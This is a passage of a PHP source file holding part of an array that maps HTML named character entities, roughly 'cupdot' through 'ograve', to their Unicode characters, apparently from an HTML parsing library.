        'cupdot' => '⊍',
        'cupor' => '⩅',
        'cups' => '∪︀',
        'curarr' => '↷',
        'curarrm' => '⤼',
        'curlyeqprec' => '⋞',
        'curlyeqsucc' => '⋟',
        'curlyvee' => '⋎',
        'curlywedge' => '⋏',
        'curren' => '¤',
        'curre' => '¤',
        'curvearrowleft' => '↶',
        'curvearrowright' => '↷',
        'cuvee' => '⋎',
        'cuwed' => '⋏',
        'cwconint' => '∲',
        'cwint' => '∱',
        'cylcty' => '⌭',
        'Dagger' => '‡',
        'dagger' => '†',
        'daleth' => 'ℸ',
        'Darr' => '↡',
        'dArr' => '⇓',
        'darr' => '↓',
        'dash' => '‐',
        'Dashv' => '⫤',
        'dashv' => '⊣',
        'dbkarow' => '⤏',
        'dblac' => '˝',
        'Dcaron' => 'Ď',
        'dcaron' => 'ď',
        'Dcy' => 'Д',
        'dcy' => 'д',
        'DD' => 'ⅅ',
        'dd' => 'ⅆ',
        'ddagger' => '‡',
        'ddarr' => '⇊',
        'DDotrahd' => '⤑',
        'ddotseq' => '⩷',
        'deg' => '°',
        'de' => '°',
        'Del' => '∇',
        'Delta' => 'Δ',
        'delta' => 'δ',
        'demptyv' => '⦱',
        'dfisht' => '⥿',
        'Dfr' => '𝔇',
        'dfr' => '𝔡',
        'dHar' => '⥥',
        'dharl' => '⇃',
        'dharr' => '⇂',
        'DiacriticalAcute' => '´',
        'DiacriticalDot' => '˙',
        'DiacriticalDoubleAcute' => '˝',
        'DiacriticalGrave' => '`',
        'DiacriticalTilde' => '˜',
        'diam' => '⋄',
        'Diamond' => '⋄',
        'diamond' => '⋄',
        'diamondsuit' => '♦',
        'diams' => '♦',
        'die' => '¨',
        'DifferentialD' => 'ⅆ',
        'digamma' => 'ϝ',
        'disin' => '⋲',
        'div' => '÷',
        'divide' => '÷',
        'divid' => '÷',
        'divideontimes' => '⋇',
        'divonx' => '⋇',
        'DJcy' => 'Ђ',
        'djcy' => 'ђ',
        'dlcorn' => '⌞',
        'dlcrop' => '⌍',
        'dollar' => '$',
        'Dopf' => '𝔻',
        'dopf' => '𝕕',
        'Dot' => '¨',
        'dot' => '˙',
        'DotDot' => '⃜',
        'doteq' => '≐',
        'doteqdot' => '≑',
        'DotEqual' => '≐',
        'dotminus' => '∸',
        'dotplus' => '∔',
        'dotsquare' => '⊡',
        'doublebarwedge' => '⌆',
        'DoubleContourIntegral' => '∯',
        'DoubleDot' => '¨',
        'DoubleDownArrow' => '⇓',
        'DoubleLeftArrow' => '⇐',
        'DoubleLeftRightArrow' => '⇔',
        'DoubleLeftTee' => '⫤',
        'DoubleLongLeftArrow' => '⟸',
        'DoubleLongLeftRightArrow' => '⟺',
        'DoubleLongRightArrow' => '⟹',
        'DoubleRightArrow' => '⇒',
        'DoubleRightTee' => '⊨',
        'DoubleUpArrow' => '⇑',
        'DoubleUpDownArrow' => '⇕',
        'DoubleVerticalBar' => '∥',
        'DownArrow' => '↓',
        'Downarrow' => '⇓',
        'downarrow' => '↓',
        'DownArrowBar' => '⤓',
        'DownArrowUpArrow' => '⇵',
        'DownBreve' => '̑',
        'downdownarrows' => '⇊',
        'downharpoonleft' => '⇃',
        'downharpoonright' => '⇂',
        'DownLeftRightVector' => '⥐',
        'DownLeftTeeVector' => '⥞',
        'DownLeftVector' => '↽',
        'DownLeftVectorBar' => '⥖',
        'DownRightTeeVector' => '⥟',
        'DownRightVector' => '⇁',
        'DownRightVectorBar' => '⥗',
        'DownTee' => '⊤',
        'DownTeeArrow' => '↧',
        'drbkarow' => '⤐',
        'drcorn' => '⌟',
        'drcrop' => '⌌',
        'Dscr' => '𝒟',
        'dscr' => '𝒹',
        'DScy' => 'Ѕ',
        'dscy' => 'ѕ',
        'dsol' => '⧶',
        'Dstrok' => 'Đ',
        'dstrok' => 'đ',
        'dtdot' => '⋱',
        'dtri' => '▿',
        'dtrif' => '▾',
        'duarr' => '⇵',
        'duhar' => '⥯',
        'dwangle' => '⦦',
        'DZcy' => 'Џ',
        'dzcy' => 'џ',
        'dzigrarr' => '⟿',
        'Eacute' => 'É',
        'Eacut' => 'É',
        'eacute' => 'é',
        'eacut' => 'é',
        'easter' => '⩮',
        'Ecaron' => 'Ě',
        'ecaron' => 'ě',
        'ecir' => 'ê',
        'Ecirc' => 'Ê',
        'Ecir' => 'Ê',
        'ecirc' => 'ê',
        'ecolon' => '≕',
        'Ecy' => 'Э',
        'ecy' => 'э',
        'eDDot' => '⩷',
        'Edot' => 'Ė',
        'eDot' => '≑',
        'edot' => 'ė',
        'ee' => 'ⅇ',
        'efDot' => '≒',
        'Efr' => '𝔈',
        'efr' => '𝔢',
        'eg' => '⪚',
        'Egrave' => 'È',
        'Egrav' => 'È',
        'egrave' => 'è',
        'egrav' => 'è',
        'egs' => '⪖',
        'egsdot' => '⪘',
        'el' => '⪙',
        'Element' => '∈',
        'elinters' => '⏧',
        'ell' => 'ℓ',
        'els' => '⪕',
        'elsdot' => '⪗',
        'Emacr' => 'Ē',
        'emacr' => 'ē',
        'empty' => '∅',
        'emptyset' => '∅',
        'EmptySmallSquare' => '◻',
        'emptyv' => '∅',
        'EmptyVerySmallSquare' => '▫',
        'emsp' => ' ',
        'emsp13' => ' ',
        'emsp14' => ' ',
        'ENG' => 'Ŋ',
        'eng' => 'ŋ',
        'ensp' => ' ',
        'Eogon' => 'Ę',
        'eogon' => 'ę',
        'Eopf' => '𝔼',
        'eopf' => '𝕖',
        'epar' => '⋕',
        'eparsl' => '⧣',
        'eplus' => '⩱',
        'epsi' => 'ε',
        'Epsilon' => 'Ε',
        'epsilon' => 'ε',
        'epsiv' => 'ϵ',
        'eqcirc' => '≖',
        'eqcolon' => '≕',
        'eqsim' => '≂',
        'eqslantgtr' => '⪖',
        'eqslantless' => '⪕',
        'Equal' => '⩵',
        'equals' => '=',
        'EqualTilde' => '≂',
        'equest' => '≟',
        'Equilibrium' => '⇌',
        'equiv' => '≡',
        'equivDD' => '⩸',
        'eqvparsl' => '⧥',
        'erarr' => '⥱',
        'erDot' => '≓',
        'Escr' => 'ℰ',
        'escr' => 'ℯ',
        'esdot' => '≐',
        'Esim' => '⩳',
        'esim' => '≂',
        'Eta' => 'Η',
        'eta' => 'η',
        'ETH' => 'Ð',
        'ET' => 'Ð',
        'eth' => 'ð',
        'et' => 'ð',
        'Euml' => 'Ë',
        'Eum' => 'Ë',
        'euml' => 'ë',
        'eum' => 'ë',
        'euro' => '€',
        'excl' => '!',
        'exist' => '∃',
        'Exists' => '∃',
        'expectation' => 'ℰ',
        'ExponentialE' => 'ⅇ',
        'exponentiale' => 'ⅇ',
        'fallingdotseq' => '≒',
        'Fcy' => 'Ф',
        'fcy' => 'ф',
        'female' => '♀',
        'ffilig' => 'ffi',
        'fflig' => 'ff',
        'ffllig' => 'ffl',
        'Ffr' => '𝔉',
        'ffr' => '𝔣',
        'filig' => 'fi',
        'FilledSmallSquare' => '◼',
        'FilledVerySmallSquare' => '▪',
        'fjlig' => 'fj',
        'flat' => '♭',
        'fllig' => 'fl',
        'fltns' => '▱',
        'fnof' => 'ƒ',
        'Fopf' => '𝔽',
        'fopf' => '𝕗',
        'ForAll' => '∀',
        'forall' => '∀',
        'fork' => '⋔',
        'forkv' => '⫙',
        'Fouriertrf' => 'ℱ',
        'fpartint' => '⨍',
        'frac12' => '½',
        'frac1' => '¼',
        'frac13' => '⅓',
        'frac14' => '¼',
        'frac15' => '⅕',
        'frac16' => '⅙',
        'frac18' => '⅛',
        'frac23' => '⅔',
        'frac25' => '⅖',
        'frac34' => '¾',
        'frac3' => '¾',
        'frac35' => '⅗',
        'frac38' => '⅜',
        'frac45' => '⅘',
        'frac56' => '⅚',
        'frac58' => '⅝',
        'frac78' => '⅞',
        'frasl' => '⁄',
        'frown' => '⌢',
        'Fscr' => 'ℱ',
        'fscr' => '𝒻',
        'gacute' => 'ǵ',
        'Gamma' => 'Γ',
        'gamma' => 'γ',
        'Gammad' => 'Ϝ',
        'gammad' => 'ϝ',
        'gap' => '⪆',
        'Gbreve' => 'Ğ',
        'gbreve' => 'ğ',
        'Gcedil' => 'Ģ',
        'Gcirc' => 'Ĝ',
        'gcirc' => 'ĝ',
        'Gcy' => 'Г',
        'gcy' => 'г',
        'Gdot' => 'Ġ',
        'gdot' => 'ġ',
        'gE' => '≧',
        'ge' => '≥',
        'gEl' => '⪌',
        'gel' => '⋛',
        'geq' => '≥',
        'geqq' => '≧',
        'geqslant' => '⩾',
        'ges' => '⩾',
        'gescc' => '⪩',
        'gesdot' => '⪀',
        'gesdoto' => '⪂',
        'gesdotol' => '⪄',
        'gesl' => '⋛︀',
        'gesles' => '⪔',
        'Gfr' => '𝔊',
        'gfr' => '𝔤',
        'Gg' => '⋙',
        'gg' => '≫',
        'ggg' => '⋙',
        'gimel' => 'ℷ',
        'GJcy' => 'Ѓ',
        'gjcy' => 'ѓ',
        'gl' => '≷',
        'gla' => '⪥',
        'glE' => '⪒',
        'glj' => '⪤',
        'gnap' => '⪊',
        'gnapprox' => '⪊',
        'gnE' => '≩',
        'gne' => '⪈',
        'gneq' => '⪈',
        'gneqq' => '≩',
        'gnsim' => '⋧',
        'Gopf' => '𝔾',
        'gopf' => '𝕘',
        'grave' => '`',
        'GreaterEqual' => '≥',
        'GreaterEqualLess' => '⋛',
        'GreaterFullEqual' => '≧',
        'GreaterGreater' => '⪢',
        'GreaterLess' => '≷',
        'GreaterSlantEqual' => '⩾',
        'GreaterTilde' => '≳',
        'Gscr' => '𝒢',
        'gscr' => 'ℊ',
        'gsim' => '≳',
        'gsime' => '⪎',
        'gsiml' => '⪐',
        'GT' => '>',
        'G' => '>',
        'Gt' => '≫',
        'gt' => '>',
        'g' => '>',
        'gtcc' => '⪧',
        'gtcir' => '⩺',
        'gtdot' => '⋗',
        'gtlPar' => '⦕',
        'gtquest' => '⩼',
        'gtrapprox' => '⪆',
        'gtrarr' => '⥸',
        'gtrdot' => '⋗',
        'gtreqless' => '⋛',
        'gtreqqless' => '⪌',
        'gtrless' => '≷',
        'gtrsim' => '≳',
        'gvertneqq' => '≩︀',
        'gvnE' => '≩︀',
        'Hacek' => 'ˇ',
        'hairsp' => ' ',
        'half' => '½',
        'hamilt' => 'ℋ',
        'HARDcy' => 'Ъ',
        'hardcy' => 'ъ',
        'hArr' => '⇔',
        'harr' => '↔',
        'harrcir' => '⥈',
        'harrw' => '↭',
        'Hat' => '^',
        'hbar' => 'ℏ',
        'Hcirc' => 'Ĥ',
        'hcirc' => 'ĥ',
        'hearts' => '♥',
        'heartsuit' => '♥',
        'hellip' => '…',
        'hercon' => '⊹',
        'Hfr' => 'ℌ',
        'hfr' => '𝔥',
        'HilbertSpace' => 'ℋ',
        'hksearow' => '⤥',
        'hkswarow' => '⤦',
        'hoarr' => '⇿',
        'homtht' => '∻',
        'hookleftarrow' => '↩',
        'hookrightarrow' => '↪',
        'Hopf' => 'ℍ',
        'hopf' => '𝕙',
        'horbar' => '―',
        'HorizontalLine' => '─',
        'Hscr' => 'ℋ',
        'hscr' => '𝒽',
        'hslash' => 'ℏ',
        'Hstrok' => 'Ħ',
        'hstrok' => 'ħ',
        'HumpDownHump' => '≎',
        'HumpEqual' => '≏',
        'hybull' => '⁃',
        'hyphen' => '‐',
        'Iacute' => 'Í',
        'Iacut' => 'Í',
        'iacute' => 'í',
        'iacut' => 'í',
        'ic' => '⁣',
        'Icirc' => 'Î',
        'Icir' => 'Î',
        'icirc' => 'î',
        'icir' => 'î',
        'Icy' => 'И',
        'icy' => 'и',
        'Idot' => 'İ',
        'IEcy' => 'Е',
        'iecy' => 'е',
        'iexcl' => '¡',
        'iexc' => '¡',
        'iff' => '⇔',
        'Ifr' => 'ℑ',
        'ifr' => '𝔦',
        'Igrave' => 'Ì',
        'Igrav' => 'Ì',
        'igrave' => 'ì',
        'igrav' => 'ì',
        'ii' => 'ⅈ',
        'iiiint' => '⨌',
        'iiint' => '∭',
        'iinfin' => '⧜',
        'iiota' => '℩',
        'IJlig' => 'IJ',
        'ijlig' => 'ij',
        'Im' => 'ℑ',
        'Imacr' => 'Ī',
        'imacr' => 'ī',
        'image' => 'ℑ',
        'ImaginaryI' => 'ⅈ',
        'imagline' => 'ℐ',
        'imagpart' => 'ℑ',
        'imath' => 'ı',
        'imof' => '⊷',
        'imped' => 'Ƶ',
        'Implies' => '⇒',
        'in' => '∈',
        'incare' => '℅',
        'infin' => '∞',
        'infintie' => '⧝',
        'inodot' => 'ı',
        'Int' => '∬',
        'int' => '∫',
        'intcal' => '⊺',
        'integers' => 'ℤ',
        'Integral' => '∫',
        'intercal' => '⊺',
        'Intersection' => '⋂',
        'intlarhk' => '⨗',
        'intprod' => '⨼',
        'InvisibleComma' => '⁣',
        'InvisibleTimes' => '⁢',
        'IOcy' => 'Ё',
        'iocy' => 'ё',
        'Iogon' => 'Į',
        'iogon' => 'į',
        'Iopf' => '𝕀',
        'iopf' => '𝕚',
        'Iota' => 'Ι',
        'iota' => 'ι',
        'iprod' => '⨼',
        'iquest' => '¿',
        'iques' => '¿',
        'Iscr' => 'ℐ',
        'iscr' => '𝒾',
        'isin' => '∈',
        'isindot' => '⋵',
        'isinE' => '⋹',
        'isins' => '⋴',
        'isinsv' => '⋳',
        'isinv' => '∈',
        'it' => '⁢',
        'Itilde' => 'Ĩ',
        'itilde' => 'ĩ',
        'Iukcy' => 'І',
        'iukcy' => 'і',
        'Iuml' => 'Ï',
        'Ium' => 'Ï',
        'iuml' => 'ï',
        'ium' => 'ï',
        'Jcirc' => 'Ĵ',
        'jcirc' => 'ĵ',
        'Jcy' => 'Й',
        'jcy' => 'й',
        'Jfr' => '𝔍',
        'jfr' => '𝔧',
        'jmath' => 'ȷ',
        'Jopf' => '𝕁',
        'jopf' => '𝕛',
        'Jscr' => '𝒥',
        'jscr' => '𝒿',
        'Jsercy' => 'Ј',
        'jsercy' => 'ј',
        'Jukcy' => 'Є',
        'jukcy' => 'є',
        'Kappa' => 'Κ',
        'kappa' => 'κ',
        'kappav' => 'ϰ',
        'Kcedil' => 'Ķ',
        'kcedil' => 'ķ',
        'Kcy' => 'К',
        'kcy' => 'к',
        'Kfr' => '𝔎',
        'kfr' => '𝔨',
        'kgreen' => 'ĸ',
        'KHcy' => 'Х',
        'khcy' => 'х',
        'KJcy' => 'Ќ',
        'kjcy' => 'ќ',
        'Kopf' => '𝕂',
        'kopf' => '𝕜',
        'Kscr' => '𝒦',
        'kscr' => '𝓀',
        'lAarr' => '⇚',
        'Lacute' => 'Ĺ',
        'lacute' => 'ĺ',
        'laemptyv' => '⦴',
        'lagran' => 'ℒ',
        'Lambda' => 'Λ',
        'lambda' => 'λ',
        'Lang' => '⟪',
        'lang' => '⟨',
        'langd' => '⦑',
        'langle' => '⟨',
        'lap' => '⪅',
        'Laplacetrf' => 'ℒ',
        'laquo' => '«',
        'laqu' => '«',
        'Larr' => '↞',
        'lArr' => '⇐',
        'larr' => '←',
        'larrb' => '⇤',
        'larrbfs' => '⤟',
        'larrfs' => '⤝',
        'larrhk' => '↩',
        'larrlp' => '↫',
        'larrpl' => '⤹',
        'larrsim' => '⥳',
        'larrtl' => '↢',
        'lat' => '⪫',
        'lAtail' => '⤛',
        'latail' => '⤙',
        'late' => '⪭',
        'lates' => '⪭︀',
        'lBarr' => '⤎',
        'lbarr' => '⤌',
        'lbbrk' => '❲',
        'lbrace' => '{',
        'lbrack' => '[',
        'lbrke' => '⦋',
        'lbrksld' => '⦏',
        'lbrkslu' => '⦍',
        'Lcaron' => 'Ľ',
        'lcaron' => 'ľ',
        'Lcedil' => 'Ļ',
        'lcedil' => 'ļ',
        'lceil' => '⌈',
        'lcub' => '{',
        'Lcy' => 'Л',
        'lcy' => 'л',
        'ldca' => '⤶',
        'ldquo' => '“',
        'ldquor' => '„',
        'ldrdhar' => '⥧',
        'ldrushar' => '⥋',
        'ldsh' => '↲',
        'lE' => '≦',
        'le' => '≤',
        'LeftAngleBracket' => '⟨',
        'LeftArrow' => '←',
        'Leftarrow' => '⇐',
        'leftarrow' => '←',
        'LeftArrowBar' => '⇤',
        'LeftArrowRightArrow' => '⇆',
        'leftarrowtail' => '↢',
        'LeftCeiling' => '⌈',
        'LeftDoubleBracket' => '⟦',
        'LeftDownTeeVector' => '⥡',
        'LeftDownVector' => '⇃',
        'LeftDownVectorBar' => '⥙',
        'LeftFloor' => '⌊',
        'leftharpoondown' => '↽',
        'leftharpoonup' => '↼',
        'leftleftarrows' => '⇇',
        'LeftRightArrow' => '↔',
        'Leftrightarrow' => '⇔',
        'leftrightarrow' => '↔',
        'leftrightarrows' => '⇆',
        'leftrightharpoons' => '⇋',
        'leftrightsquigarrow' => '↭',
        'LeftRightVector' => '⥎',
        'LeftTee' => '⊣',
        'LeftTeeArrow' => '↤',
        'LeftTeeVector' => '⥚',
        'leftthreetimes' => '⋋',
        'LeftTriangle' => '⊲',
        'LeftTriangleBar' => '⧏',
        'LeftTriangleEqual' => '⊴',
        'LeftUpDownVector' => '⥑',
        'LeftUpTeeVector' => '⥠',
        'LeftUpVector' => '↿',
        'LeftUpVectorBar' => '⥘',
        'LeftVector' => '↼',
        'LeftVectorBar' => '⥒',
        'lEg' => '⪋',
        'leg' => '⋚',
        'leq' => '≤',
        'leqq' => '≦',
        'leqslant' => '⩽',
        'les' => '⩽',
        'lescc' => '⪨',
        'lesdot' => '⩿',
        'lesdoto' => '⪁',
        'lesdotor' => '⪃',
        'lesg' => '⋚︀',
        'lesges' => '⪓',
        'lessapprox' => '⪅',
        'lessdot' => '⋖',
        'lesseqgtr' => '⋚',
        'lesseqqgtr' => '⪋',
        'LessEqualGreater' => '⋚',
        'LessFullEqual' => '≦',
        'LessGreater' => '≶',
        'lessgtr' => '≶',
        'LessLess' => '⪡',
        'lesssim' => '≲',
        'LessSlantEqual' => '⩽',
        'LessTilde' => '≲',
        'lfisht' => '⥼',
        'lfloor' => '⌊',
        'Lfr' => '𝔏',
        'lfr' => '𝔩',
        'lg' => '≶',
        'lgE' => '⪑',
        'lHar' => '⥢',
        'lhard' => '↽',
        'lharu' => '↼',
        'lharul' => '⥪',
        'lhblk' => '▄',
        'LJcy' => 'Љ',
        'ljcy' => 'љ',
        'Ll' => '⋘',
        'll' => '≪',
        'llarr' => '⇇',
        'llcorner' => '⌞',
        'Lleftarrow' => '⇚',
        'llhard' => '⥫',
        'lltri' => '◺',
        'Lmidot' => 'Ŀ',
        'lmidot' => 'ŀ',
        'lmoust' => '⎰',
        'lmoustache' => '⎰',
        'lnap' => '⪉',
        'lnapprox' => '⪉',
        'lnE' => '≨',
        'lne' => '⪇',
        'lneq' => '⪇',
        'lneqq' => '≨',
        'lnsim' => '⋦',
        'loang' => '⟬',
        'loarr' => '⇽',
        'lobrk' => '⟦',
        'LongLeftArrow' => '⟵',
        'Longleftarrow' => '⟸',
        'longleftarrow' => '⟵',
        'LongLeftRightArrow' => '⟷',
        'Longleftrightarrow' => '⟺',
        'longleftrightarrow' => '⟷',
        'longmapsto' => '⟼',
        'LongRightArrow' => '⟶',
        'Longrightarrow' => '⟹',
        'longrightarrow' => '⟶',
        'looparrowleft' => '↫',
        'looparrowright' => '↬',
        'lopar' => '⦅',
        'Lopf' => '𝕃',
        'lopf' => '𝕝',
        'loplus' => '⨭',
        'lotimes' => '⨴',
        'lowast' => '∗',
        'lowbar' => '_',
        'LowerLeftArrow' => '↙',
        'LowerRightArrow' => '↘',
        'loz' => '◊',
        'lozenge' => '◊',
        'lozf' => '⧫',
        'lpar' => '(',
        'lparlt' => '⦓',
        'lrarr' => '⇆',
        'lrcorner' => '⌟',
        'lrhar' => '⇋',
        'lrhard' => '⥭',
        'lrm' => '‎',
        'lrtri' => '⊿',
        'lsaquo' => '‹',
        'Lscr' => 'ℒ',
        'lscr' => '𝓁',
        'Lsh' => '↰',
        'lsh' => '↰',
        'lsim' => '≲',
        'lsime' => '⪍',
        'lsimg' => '⪏',
        'lsqb' => '[',
        'lsquo' => '‘',
        'lsquor' => '‚',
        'Lstrok' => 'Ł',
        'lstrok' => 'ł',
        'LT' => '<',
        'L' => '<',
        'Lt' => '≪',
        'lt' => '<',
        'l' => '<',
        'ltcc' => '⪦',
        'ltcir' => '⩹',
        'ltdot' => '⋖',
        'lthree' => '⋋',
        'ltimes' => '⋉',
        'ltlarr' => '⥶',
        'ltquest' => '⩻',
        'ltri' => '◃',
        'ltrie' => '⊴',
        'ltrif' => '◂',
        'ltrPar' => '⦖',
        'lurdshar' => '⥊',
        'luruhar' => '⥦',
        'lvertneqq' => '≨︀',
        'lvnE' => '≨︀',
        'macr' => '¯',
        'mac' => '¯',
        'male' => '♂',
        'malt' => '✠',
        'maltese' => '✠',
        'Map' => '⤅',
        'map' => '↦',
        'mapsto' => '↦',
        'mapstodown' => '↧',
        'mapstoleft' => '↤',
        'mapstoup' => '↥',
        'marker' => '▮',
        'mcomma' => '⨩',
        'Mcy' => 'М',
        'mcy' => 'м',
        'mdash' => '—',
        'mDDot' => '∺',
        'measuredangle' => '∡',
        'MediumSpace' => ' ',
        'Mellintrf' => 'ℳ',
        'Mfr' => '𝔐',
        'mfr' => '𝔪',
        'mho' => '℧',
        'micro' => 'µ',
        'micr' => 'µ',
        'mid' => '∣',
        'midast' => '*',
        'midcir' => '⫰',
        'middot' => '·',
        'middo' => '·',
        'minus' => '−',
        'minusb' => '⊟',
        'minusd' => '∸',
        'minusdu' => '⨪',
        'MinusPlus' => '∓',
        'mlcp' => '⫛',
        'mldr' => '…',
        'mnplus' => '∓',
        'models' => '⊧',
        'Mopf' => '𝕄',
        'mopf' => '𝕞',
        'mp' => '∓',
        'Mscr' => 'ℳ',
        'mscr' => '𝓂',
        'mstpos' => '∾',
        'Mu' => 'Μ',
        'mu' => 'μ',
        'multimap' => '⊸',
        'mumap' => '⊸',
        'nabla' => '∇',
        'Nacute' => 'Ń',
        'nacute' => 'ń',
        'nang' => '∠⃒',
        'nap' => '≉',
        'napE' => '⩰̸',
        'napid' => '≋̸',
        'napos' => 'ʼn',
        'napprox' => '≉',
        'natur' => '♮',
        'natural' => '♮',
        'naturals' => 'ℕ',
        'nbsp' => ' ',
        'nbs' => ' ',
        'nbump' => '≎̸',
        'nbumpe' => '≏̸',
        'ncap' => '⩃',
        'Ncaron' => 'Ň',
        'ncaron' => 'ň',
        'Ncedil' => 'Ņ',
        'ncedil' => 'ņ',
        'ncong' => '≇',
        'ncongdot' => '⩭̸',
        'ncup' => '⩂',
        'Ncy' => 'Н',
        'ncy' => 'н',
        'ndash' => '–',
        'ne' => '≠',
        'nearhk' => '⤤',
        'neArr' => '⇗',
        'nearr' => '↗',
        'nearrow' => '↗',
        'nedot' => '≐̸',
        'NegativeMediumSpace' => '​',
        'NegativeThickSpace' => '​',
        'NegativeThinSpace' => '​',
        'NegativeVeryThinSpace' => '​',
        'nequiv' => '≢',
        'nesear' => '⤨',
        'nesim' => '≂̸',
        'NestedGreaterGreater' => '≫',
        'NestedLessLess' => '≪',
        'NewLine' => '
',
        'nexist' => '∄',
        'nexists' => '∄',
        'Nfr' => '𝔑',
        'nfr' => '𝔫',
        'ngE' => '≧̸',
        'nge' => '≱',
        'ngeq' => '≱',
        'ngeqq' => '≧̸',
        'ngeqslant' => '⩾̸',
        'nges' => '⩾̸',
        'nGg' => '⋙̸',
        'ngsim' => '≵',
        'nGt' => '≫⃒',
        'ngt' => '≯',
        'ngtr' => '≯',
        'nGtv' => '≫̸',
        'nhArr' => '⇎',
        'nharr' => '↮',
        'nhpar' => '⫲',
        'ni' => '∋',
        'nis' => '⋼',
        'nisd' => '⋺',
        'niv' => '∋',
        'NJcy' => 'Њ',
        'njcy' => 'њ',
        'nlArr' => '⇍',
        'nlarr' => '↚',
        'nldr' => '‥',
        'nlE' => '≦̸',
        'nle' => '≰',
        'nLeftarrow' => '⇍',
        'nleftarrow' => '↚',
        'nLeftrightarrow' => '⇎',
        'nleftrightarrow' => '↮',
        'nleq' => '≰',
        'nleqq' => '≦̸',
        'nleqslant' => '⩽̸',
        'nles' => '⩽̸',
        'nless' => '≮',
        'nLl' => '⋘̸',
        'nlsim' => '≴',
        'nLt' => '≪⃒',
        'nlt' => '≮',
        'nltri' => '⋪',
        'nltrie' => '⋬',
        'nLtv' => '≪̸',
        'nmid' => '∤',
        'NoBreak' => '⁠',
        'NonBreakingSpace' => ' ',
        'Nopf' => 'ℕ',
        'nopf' => '𝕟',
        'Not' => '⫬',
        'not' => '¬',
        'no' => '¬',
        'NotCongruent' => '≢',
        'NotCupCap' => '≭',
        'NotDoubleVerticalBar' => '∦',
        'NotElement' => '∉',
        'NotEqual' => '≠',
        'NotEqualTilde' => '≂̸',
        'NotExists' => '∄',
        'NotGreater' => '≯',
        'NotGreaterEqual' => '≱',
        'NotGreaterFullEqual' => '≧̸',
        'NotGreaterGreater' => '≫̸',
        'NotGreaterLess' => '≹',
        'NotGreaterSlantEqual' => '⩾̸',
        'NotGreaterTilde' => '≵',
        'NotHumpDownHump' => '≎̸',
        'NotHumpEqual' => '≏̸',
        'notin' => '∉',
        'notindot' => '⋵̸',
        'notinE' => '⋹̸',
        'notinva' => '∉',
        'notinvb' => '⋷',
        'notinvc' => '⋶',
        'NotLeftTriangle' => '⋪',
        'NotLeftTriangleBar' => '⧏̸',
        'NotLeftTriangleEqual' => '⋬',
        'NotLess' => '≮',
        'NotLessEqual' => '≰',
        'NotLessGreater' => '≸',
        'NotLessLess' => '≪̸',
        'NotLessSlantEqual' => '⩽̸',
        'NotLessTilde' => '≴',
        'NotNestedGreaterGreater' => '⪢̸',
        'NotNestedLessLess' => '⪡̸',
        'notni' => '∌',
        'notniva' => '∌',
        'notnivb' => '⋾',
        'notnivc' => '⋽',
        'NotPrecedes' => '⊀',
        'NotPrecedesEqual' => '⪯̸',
        'NotPrecedesSlantEqual' => '⋠',
        'NotReverseElement' => '∌',
        'NotRightTriangle' => '⋫',
        'NotRightTriangleBar' => '⧐̸',
        'NotRightTriangleEqual' => '⋭',
        'NotSquareSubset' => '⊏̸',
        'NotSquareSubsetEqual' => '⋢',
        'NotSquareSuperset' => '⊐̸',
        'NotSquareSupersetEqual' => '⋣',
        'NotSubset' => '⊂⃒',
        'NotSubsetEqual' => '⊈',
        'NotSucceeds' => '⊁',
        'NotSucceedsEqual' => '⪰̸',
        'NotSucceedsSlantEqual' => '⋡',
        'NotSucceedsTilde' => '≿̸',
        'NotSuperset' => '⊃⃒',
        'NotSupersetEqual' => '⊉',
        'NotTilde' => '≁',
        'NotTildeEqual' => '≄',
        'NotTildeFullEqual' => '≇',
        'NotTildeTilde' => '≉',
        'NotVerticalBar' => '∤',
        'npar' => '∦',
        'nparallel' => '∦',
        'nparsl' => '⫽⃥',
        'npart' => '∂̸',
        'npolint' => '⨔',
        'npr' => '⊀',
        'nprcue' => '⋠',
        'npre' => '⪯̸',
        'nprec' => '⊀',
        'npreceq' => '⪯̸',
        'nrArr' => '⇏',
        'nrarr' => '↛',
        'nrarrc' => '⤳̸',
        'nrarrw' => '↝̸',
        'nRightarrow' => '⇏',
        'nrightarrow' => '↛',
        'nrtri' => '⋫',
        'nrtrie' => '⋭',
        'nsc' => '⊁',
        'nsccue' => '⋡',
        'nsce' => '⪰̸',
        'Nscr' => '𝒩',
        'nscr' => '𝓃',
        'nshortmid' => '∤',
        'nshortparallel' => '∦',
        'nsim' => '≁',
        'nsime' => '≄',
        'nsimeq' => '≄',
        'nsmid' => '∤',
        'nspar' => '∦',
        'nsqsube' => '⋢',
        'nsqsupe' => '⋣',
        'nsub' => '⊄',
        'nsubE' => '⫅̸',
        'nsube' => '⊈',
        'nsubset' => '⊂⃒',
        'nsubseteq' => '⊈',
        'nsubseteqq' => '⫅̸',
        'nsucc' => '⊁',
        'nsucceq' => '⪰̸',
        'nsup' => '⊅',
        'nsupE' => '⫆̸',
        'nsupe' => '⊉',
        'nsupset' => '⊃⃒',
        'nsupseteq' => '⊉',
        'nsupseteqq' => '⫆̸',
        'ntgl' => '≹',
        'Ntilde' => 'Ñ',
        'Ntild' => 'Ñ',
        'ntilde' => 'ñ',
        'ntild' => 'ñ',
        'ntlg' => '≸',
        'ntriangleleft' => '⋪',
        'ntrianglelefteq' => '⋬',
        'ntriangleright' => '⋫',
        'ntrianglerighteq' => '⋭',
        'Nu' => 'Ν',
        'nu' => 'ν',
        'num' => '#',
        'numero' => '№',
        'numsp' => ' ',
        'nvap' => '≍⃒',
        'nVDash' => '⊯',
        'nVdash' => '⊮',
        'nvDash' => '⊭',
        'nvdash' => '⊬',
        'nvge' => '≥⃒',
        'nvgt' => '>⃒',
        'nvHarr' => '⤄',
        'nvinfin' => '⧞',
        'nvlArr' => '⤂',
        'nvle' => '≤⃒',
        'nvlt' => '<⃒',
        'nvltrie' => '⊴⃒',
        'nvrArr' => '⤃',
        'nvrtrie' => '⊵⃒',
        'nvsim' => '∼⃒',
        'nwarhk' => '⤣',
        'nwArr' => '⇖',
        'nwarr' => '↖',
        'nwarrow' => '↖',
        'nwnear' => '⤧',
        'Oacute' => 'Ó',
        'Oacut' => 'Ó',
        'oacute' => 'ó',
        'oacut' => 'ó',
        'oast' => '⊛',
        'ocir' => 'ô',
        'Ocirc' => 'Ô',
        'Ocir' => 'Ô',
        'ocirc' => 'ô',
        'Ocy' => 'О',
        'ocy' => 'о',
        'odash' => '⊝',
        'Odblac' => 'Ő',
        'odblac' => 'ő',
        'odiv' => '⨸',
        'odot' => '⊙',
        'odsold' => '⦼',
        'OElig' => 'Œ',
        'oelig' => 'œ',
        'ofcir' => '⦿',
        'Ofr' => '𝔒',
        'ofr' => '𝔬',
        'ogon' => '˛',
        'Ograve' => 'Ò',
        'Ograv' => 'Ò',
        'ograve' => 'ò',
        'ograv' => 'ò',
